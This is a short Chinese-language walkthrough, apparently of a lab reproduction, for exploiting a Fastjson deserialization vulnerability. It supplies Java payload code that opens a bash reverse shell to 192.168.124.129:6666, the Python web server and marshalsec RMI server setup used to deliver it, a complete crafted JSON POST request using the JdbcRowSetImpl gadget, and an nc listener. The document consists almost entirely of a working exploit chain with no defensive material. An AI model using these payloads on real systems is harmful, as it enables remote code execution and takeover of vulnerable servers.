1、首先访问一下目标网址是否正常
2、编译java攻击载荷,此代码为反弹shell
// javac exp.java import java.lang.Runtime; import java.lang.Process; public class exp { static { try { Runtime rt =Runtime.getRuntime(); String[]commands = {"/bin/bash","-c","bash -i >&/dev/tcp/192.168.124.129/6666 0>&1"}; Process pc =rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
3、在使用远程服务器开启web服务器,使得编译的文件能够被下载。
这里使用py来开启python -mSimpleHTTPServer 8080
访问目录,发现了文件
4、再启动rmi服务,远程加载刚才开启的web服务
这里使用了marshalsec启动一个RMI服务器,或者ladp服务器。
下载地址:https://github.com/mbechler/marshalsec
下载后切换到marshalsec目录下使用maven进行打包。
mvn cleanpackage -DskipTests
编译完成后,再进行开启:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer "http://192.168.124.133:8080/#exp" 9999
5、对目标站点发送payload
Payload: POST / HTTP/1.1 Host: 192.168.124.145:8090 Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 261 { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.124.133:9999/exp", "autoCommit":true } }
在主机上进行监听6666端口,命令如下:
Nc -lvvp6666
发送payload后得到了shell